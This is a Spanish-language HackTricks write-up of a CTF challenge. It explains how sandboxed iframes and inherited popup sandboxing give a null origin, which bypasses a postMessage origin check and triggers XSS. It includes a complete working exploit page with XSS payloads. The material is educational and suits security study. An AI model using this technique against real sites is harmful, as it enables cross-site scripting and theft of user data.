Bypassing SOP with Iframes - 1

Support HackTricks

Iframes in SOP-1

En este desafío creado por NDevTK y Terjanq necesitas explotar un XSS en el código.

const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}

El problema principal es que la página principal utiliza DomPurify para enviar el data.body, por lo que para enviar tus propios datos html a ese código necesitas bypassear e.origin !== window.origin.

Veamos la solución que proponen.

Bypass SOP 1 (e.origin === null)

Cuando //example.org está incrustado en un iframe sandboxed, entonces el origen de la página será null, es decir, window.origin === null. Así que solo al incrustar el iframe a través de <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php"> podríamos forzar el origen null.

Si la página fuera incrustable, podrías eludir esa protección de esa manera (las cookies también podrían necesitar ser configuradas a SameSite=None).

Bypass SOP 2 (window.origin === null)

El hecho menos conocido es que cuando se establece el valor de sandbox allow-popups, entonces el popup abierto heredará todos los atributos sandboxed a menos que se establezca allow-popups-to-escape-sandbox. Por lo tanto, abrir un popup desde un origen nulo hará que window.origin dentro del popup también sea null.

Solución del Desafío

Por lo tanto, para este desafío, uno podría crear un iframe, abrir un popup a la página con el manejador de código XSS vulnerable (/iframe.php), ya que window.origin === e.origin porque ambos son null, es posible enviar una carga útil que explotará el XSS.

Esa carga útil obtendrá el identificador y enviará un XSS de vuelta a la página principal (la página que abrió el popup), la cual cambiará de ubicación a la vulnerable /iframe.php. Dado que el identificador es conocido, no importa que la condición window.origin === e.origin no se cumpla (recuerda, el origen es el popup del iframe que tiene origen null) porque data.identifier === identifier. Entonces, el XSS se activará nuevamente, esta vez en el origen correcto.

<body>
<script>
f = document.createElement('iframe');

// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';

// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');

// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>
Apoya a HackTricks

Last updated